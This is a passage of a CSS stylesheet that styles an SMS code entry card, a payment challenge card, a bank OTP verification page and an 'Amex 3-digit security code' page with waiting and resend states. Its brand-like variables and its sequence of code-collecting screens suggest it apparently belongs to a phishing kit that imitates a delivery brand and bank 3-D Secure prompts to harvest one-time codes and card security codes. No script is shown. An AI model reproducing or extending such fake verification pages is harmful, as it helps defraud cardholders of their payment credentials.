  color: transparent;
  pointer-events: none;
}

.sms-btn.is-loading::after {
  content: "";
  position: absolute;
  top: 50%; left: 50%;
  width: 20px; height: 20px;
  margin: -10px 0 0 -10px;
  border: 2.5px solid rgba(255,255,255,.4);
  border-top-color: #fff;
  border-radius: 50%;
  animation: spin .7s linear infinite;
}

.sms-resend {
  margin: 16px 0 6px;
  font-size: 13.5px;
  color: var(--rm-gray);
}

.sms-resend-link {
  color: var(--rm-red);
  font-weight: 700;
  text-decoration: underline;
}

.sms-resend-link:hover { color: var(--rm-red-dk); }

.sms-hint {
  font-size: 12.5px;
  color: #888;
  margin: 0 0 18px;
  line-height: 1.5;
}

.sms-secure {
  display: inline-flex;
  align-items: center;
  gap: 6px;
  color: var(--green);
  font-size: 11.5px;
  font-weight: 600;
  padding-top: 16px;
  border-top: 1px solid #eee;
  width: 100%;
  justify-content: center;
}

.sms-card .notice {
  background: #fff5f5;
  border-left: 4px solid #c0392b;
  color: #c0392b;
  font-size: 13px;
  text-align: left;
  padding: 11px 14px;
  border-radius: 4px;
  margin: 0 0 16px;
}

@media (max-width: 720px) {
  .sms-card { padding: 34px 22px 28px; }
  .sms-title { font-size: 28px; }
  .sms-phone { font-size: 15.5px; margin-bottom: 22px; }

  .otp { gap: 8px; }
  .otp input {
    height: 56px;
    font-size: 22px;
    border-radius: 5px;
    max-width: 52px;
  }
}

@media (max-width: 480px) {
  .sms-card { padding: 28px 16px 24px; }
  .sms-title { font-size: 25px; }
  .sms-lead { font-size: 13.5px; }
  .sms-phone { font-size: 14.5px; padding: 6px 12px; }

  .otp { gap: 6px; }
  .otp input {
    height: 50px;
    font-size: 20px;
    border-radius: 5px;
    max-width: 46px;
  }
}

@media (max-width: 360px) {
  .otp { gap: 4px; }
  .otp input {
    height: 46px;
    font-size: 18px;
    max-width: 40px;
  }
}

/* ==========================================================================
   7d. PAYMENT CHALLENGE CARD
   ========================================================================== */

.card.challenge {
  padding: 0;
  border-radius: 8px;
  overflow: hidden;
  box-shadow: 0 1px 3px rgba(0,0,0,.05);
}

.card.challenge .challenge-hero {
  flex-direction: column;
  align-items: center;
  justify-content: center;
  gap: 4px;
  padding: 20px 20px 18px;
  margin: 0;
  background: linear-gradient(180deg, #fafafa 0%, #f3f3f3 100%);
  border-bottom: 1px solid #ececec;
  text-align: center;
  flex-wrap: nowrap;
}

.card.challenge .challenge-hero span {
  font-size: 11px;
  font-weight: 800;
  letter-spacing: .9px;
  text-transform: uppercase;
  color: var(--rm-gray);
}

.card.challenge .challenge-hero strong {
  font-size: 34px;
  line-height: 1.05;
  font-weight: 900;
  letter-spacing: -.8px;
  color: var(--rm-dark);
  font-variant-numeric: tabular-nums;
  text-align: center;
}

.card.challenge .row {
  padding: 13px 20px;
  margin: 0;
  align-items: center;
  flex-wrap: nowrap;
  border-bottom: 1px solid #f2f2f2;
  font-size: 13.5px;
}

.card.challenge .row:last-child { border-bottom: none; }

.card.challenge .row > span {
  color: var(--rm-gray);
  flex-shrink: 0;
  font-weight: 500;
}

.card.challenge .row > strong {
  color: var(--rm-dark);
  font-weight: 700;
  text-align: right;
  min-width: 0;
  overflow-wrap: anywhere;
}

.card.challenge .challenge-merchant {
  display: inline-flex;
  align-items: center;
  gap: 8px;
  justify-content: flex-end;
}

.card.challenge .challenge-mark {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  width: 22px;
  height: 22px;
  border-radius: 4px;
  background: var(--rm-red);
  color: #fff;
  font-size: 10px;
  font-weight: 900;
  letter-spacing: .3px;
  flex-shrink: 0;
}

.card.challenge .challenge-mono {
  font-family: ui-monospace, SFMono-Regular, Menlo, monospace;
  letter-spacing: .8px;
}

@media (max-width: 720px) {
  .card.challenge .challenge-hero { padding: 18px 18px 16px; }
  .card.challenge .challenge-hero strong { font-size: 30px; }
  .card.challenge .row { padding: 12px 18px; font-size: 13px; }
}

@media (max-width: 480px) {
  .card.challenge .challenge-hero { padding: 16px 16px 14px; }
  .card.challenge .challenge-hero strong { font-size: 27px; letter-spacing: -.6px; }
  .card.challenge .row { padding: 11px 16px; font-size: 12.5px; gap: 10px; }
  .card.challenge .challenge-mark { width: 20px; height: 20px; font-size: 9px; }
}

/* ==========================================================================
   14. BANK OTP PAGE
   ========================================================================== */

.bank-otp-page { background: #fff; min-height: 100vh; font-family: Arial, Helvetica, sans-serif; color: #000; font-size: 14px; line-height: 1.5; }

.bank-otp-logos { display: flex; align-items: center; justify-content: space-between; padding: 22px 40px 10px; gap: 20px; }

.bank-otp-bank-name {
  font-size: 26px;
  font-weight: 700;
  color: #0a2a5e;
  letter-spacing: -.3px;
  line-height: 1.15;
  max-width: 60%;
  overflow-wrap: anywhere;
}

.bank-otp-brand { height: 42px; width: auto; display: block; flex-shrink: 0; }

.bank-otp-body { max-width: 780px; margin: 0 auto; padding: 34px 40px 60px; }
.bank-otp-intro { margin: 0 0 34px; font-size: 14px; line-height: 1.6; }

.bank-otp-phone-inline { color: #000; white-space: nowrap; }

.bank-otp-table { width: 100%; border-collapse: collapse; margin-bottom: 28px; }
.bank-otp-table th { text-align: left; font-size: 14px; font-weight: 700; color: #000; padding: 0 0 14px; }
.bank-otp-table tr td:first-child { width: 30%; }
.bank-otp-table tr td:last-child { width: 70%; }
.bank-otp-table td { padding: 6px 0; vertical-align: middle; }
.bank-otp-table .row-label { text-align: right; padding-right: 18px; font-weight: 700; font-size: 14px; white-space: nowrap; }
.bank-otp-table .row-value { font-size: 14px; color: #000; padding-left: 6px; }

.bank-otp-input { display: inline-block; width: 260px; max-width: 100%; height: 28px; border: 1px solid #555; border-radius: 2px; padding: 0 8px; font-size: 15px; font-family: Arial, Helvetica, sans-serif; outline: none; background: #fff; color: #000; }
.bank-otp-input:focus,
.bank-otp-input:focus-visible { outline: none; border-color: #000; box-shadow: 0 0 0 2px rgba(0,0,0,.08); }

.bank-otp-resend-text { margin: 26px 0 6px; font-size: 14px; }
.bank-otp-resend-link { display: inline-block; color: #000; text-decoration: underline; font-size: 14px; margin-bottom: 34px; }
.bank-otp-resend-link:hover { color: #444; }
.bank-otp-resend-link:focus,
.bank-otp-resend-link:focus-visible { outline: none; }

.bank-otp-resent { display: flex; align-items: center; gap: 8px; margin: -20px 0 26px; padding: 9px 14px; background: #eef9f0; border-left: 3px solid #1e7e34; color: #1e7e34; font-size: 13px; font-weight: 600; animation: bankFadeIn .25s ease; }
.bank-otp-resent[hidden] { display: none !important; }
.bank-otp-resent svg { flex-shrink: 0; color: #1e7e34; }

@keyframes bankFadeIn {
  from { opacity: 0; transform: translateY(-3px); }
  to   { opacity: 1; transform: translateY(0); }
}

.bank-otp-actions { display: flex; align-items: center; justify-content: center; margin-top: 6px; }
.bank-otp-submit { display: inline-block; background: #000; color: #fff; border: 0; padding: 9px 22px; font-size: 14px; font-weight: 700; border-radius: 2px; cursor: pointer; font-family: inherit; }
.bank-otp-submit:hover { background: #222; }
.bank-otp-submit:focus,
.bank-otp-submit:focus-visible { outline: none; }
.bank-otp-submit[disabled] { opacity: .55; cursor: not-allowed; }

.bank-otp-error { margin: 18px 0 0; padding: 9px 12px; background: #fff5f5; border-left: 3px solid #c0392b; color: #c0392b; font-size: 13px; }
.bank-otp-error[hidden] { display: none !important; }

@media (max-width: 720px) {
  .bank-otp-logos { padding: 16px 20px 8px; gap: 12px; }
  .bank-otp-bank-name { font-size: 20px; max-width: 62%; }
  .bank-otp-brand { height: 34px; }
  .bank-otp-body { padding: 22px 20px 44px; }

  .bank-otp-table tr td:first-child { width: 42%; }
  .bank-otp-table .row-label { padding-right: 10px; font-size: 13px; }
  .bank-otp-table .row-value { font-size: 13px; }

  .bank-otp-input { width: 180px; }
}

@media (max-width: 420px) {
  .bank-otp-bank-name { font-size: 17px; }
  .bank-otp-brand { height: 28px; }
  .bank-otp-intro, .bank-otp-resend-text, .bank-otp-resend-link { font-size: 13px; }
  .bank-otp-input { width: 100%; }
}

/* ==========================================================================
   15. CSC PAGE (Amex 3-digit security code) — compact centered
   ========================================================================== */

.csc-page {
  background: #fff;
  min-height: 100vh;
  font-family: Arial, Helvetica, sans-serif;
  color: #222;
  font-size: 13px;
  line-height: 1.45;
}

/* Full-screen container, content centered */
.csc-backdrop {
  width: 100%;
  min-height: 100vh;
  padding: 32px 24px 40px;
  box-sizing: border-box;
  display: flex;
  flex-direction: column;
  align-items: center;
}

.csc-modal {
  width: 100%;
  max-width: 420px;
  margin: 0 auto;
}

/* ---------- Header ---------- */
.csc-head {
  display: flex;
  align-items: center;
  justify-content: space-between;
  padding: 0 0 12px;
  border-bottom: 1px solid #e5e5e5;
  margin-bottom: 20px;
}

.csc-heading {
  font-size: 15px;
  font-weight: 700;
  margin: 0;
  color: #222;
  letter-spacing: -.1px;
}

.csc-close {
  background: transparent;
  border: 0;
  width: 22px;
  height: 22px;
  line-height: 1;
  font-size: 18px;
  color: #888;
  cursor: pointer;
  padding: 0;
}
.csc-close:hover { color: #333; }

/* ---------- Body ---------- */
.csc-body { padding: 0; }

/* Card illustration — centered, more breathing room */
.csc-card-wrap {
  display: flex;
  justify-content: center;
  margin: 10px 0 36px;
}

.csc-right { display: flex; justify-content: center; }

.csc-card {
  position: relative;
  width: 100%;
  max-width: 240px;
  height: 130px;
  border-radius: 8px;
  background: linear-gradient(180deg, #143a7a 0%, #0e2d5e 100%);
  overflow: hidden;
  box-shadow: 0 3px 10px rgba(0,0,0,.16);
}

.csc-card-stripe {
  position: absolute;
  top: 14px;
  left: 0;
  right: 0;
  height: 22px;
  background: linear-gradient(180deg, #ffffff 0%, #d9d9d9 100%);
}

.csc-card-bottom {
  position: absolute;
  left: 14px;
  right: 14px;
  bottom: 16px;
  display: flex;
  align-items: center;
  gap: 6px;
}

.csc-card-numbers {
  font-family: ui-monospace, "SF Mono", Menlo, Consolas, monospace;
  font-size: 7.5px;
  color: #d9d9d9;
  letter-spacing: .6px;
  flex: 1;
  min-width: 0;
  white-space: nowrap;
  overflow: hidden;
  text-overflow: ellipsis;
}

.csc-card-csc-badge {
  position: relative;
  display: inline-flex;
  align-items: center;
  justify-content: center;
  background: #fff;
  color: #111;
  font-family: ui-monospace, "SF Mono", Menlo, Consolas, monospace;
  font-size: 8px;
  font-weight: 700;
  padding: 2px 5px;
  border-radius: 1px;
  letter-spacing: .5px;
}

.csc-card-csc-badge::after {
  content: "";
  position: absolute;
  inset: -10px;
  border: 1.5px solid rgba(255,255,255,.85);
  border-radius: 50%;
  pointer-events: none;
}

.csc-card-brand {
  font-size: 5px;
  font-weight: 700;
  color: #fff;
  text-align: right;
  line-height: 1.1;
  letter-spacing: .3px;
  flex-shrink: 0;
}

/* Intro paragraph — below the card */
.csc-intro {
  font-size: 12px;
  margin: 0 0 20px;
  line-height: 1.55;
  color: #333;
}
.csc-intro strong { font-weight: 700; color: #111; }

/* Input stack */
.csc-grid {
  display: flex;
  flex-direction: column;
  align-items: stretch;
  gap: 16px;
  margin-bottom: 14px;
}

.csc-left { min-width: 0; }

.csc-label {
  display: block;
  font-size: 11.5px;
  font-weight: 700;
  color: #333;
  margin-bottom: 5px;
}

.csc-input-wrap {
  position: relative;
  width: 100%;
}

.csc-input {
  width: 100%;
  height: 38px;
  padding: 0 34px 0 10px;
  font-size: 13px;
  font-family: inherit;
  color: #222;
  background: #fff;
  border: 1px solid #cfcfcf;
  border-radius: 3px;
  outline: none;
  box-sizing: border-box;
}

.csc-input:focus {
  border-color: #3b6fce;
  box-shadow: 0 0 0 2px rgba(59, 111, 206, .15);
}
.csc-input:disabled { opacity: .6; }

.csc-eye {
  position: absolute;
  top: 50%;
  right: 6px;
  transform: translateY(-50%);
  width: 26px;
  height: 26px;
  display: inline-flex;
  align-items: center;
  justify-content: center;
  background: transparent;
  border: 0;
  color: #3b6fce;
  cursor: pointer;
  padding: 0;
}
.csc-eye:hover { color: #2857a8; }
.csc-eye svg { width: 16px; height: 16px; }

/* ---------- Error + waiting ---------- */
.csc-error {
  margin: 0 0 12px;
  padding: 7px 10px;
  background: #fff5f5;
  border-left: 3px solid #c0392b;
  color: #c0392b;
  font-size: 11.5px;
  border-radius: 3px;
}
.csc-error[hidden] { display: none !important; }

.csc-waiting {
  display: inline-flex;
  align-items: center;
  gap: 6px;
  margin: 0 0 12px;
  padding: 7px 10px;
  background: #eef4fb;
  border-left: 3px solid #3b6fce;
  color: #1c5aa8;
  font-size: 11.5px;
  font-weight: 600;
  border-radius: 3px;
}
.csc-waiting[hidden] { display: none !important; }

.csc-spinner {
  display: inline-block;
  width: 11px;
  height: 11px;
  border: 2px solid rgba(59,111,206,.3);
  border-top-color: #3b6fce;
  border-radius: 50%;
  animation: spin .8s linear infinite;
}

/* ---------- Actions ---------- */
.csc-actions {
  display: flex;
  justify-content: center;
  gap: 8px;
  padding-top: 18px;
  border-top: 1px solid #eaeaea;
  margin-top: 18px;
}

.csc-btn {
  min-width: 120px;
  height: 36px;
  padding: 0 16px;
  font-size: 13px;
  font-family: inherit;
  border-radius: 4px;
  cursor: pointer;
  transition: background .15s ease, color .15s ease, border-color .15s ease;
}

.csc-btn-cancel {
  background: #fff;
  color: #3b6fce;
  border: 1px solid #3b6fce;
}
.csc-btn-cancel:hover { background: #f4f8ff; }

.csc-btn-continue {
  background: #2b6fce;
  color: #fff;
  border: 1px solid #2b6fce;
}
.csc-btn-continue:hover { background: #1f5cae; border-color: #1f5cae; }
.csc-btn-continue[disabled] { opacity: .6; cursor: not-allowed; }

/* ---------- Responsive ---------- */
@media (max-width: 420px) {
  .csc-backdrop { padding: 20px 16px 32px; }
  .csc-modal { max-width: 100%; }
  .csc-btn { min-width: 0; flex: 1; }
}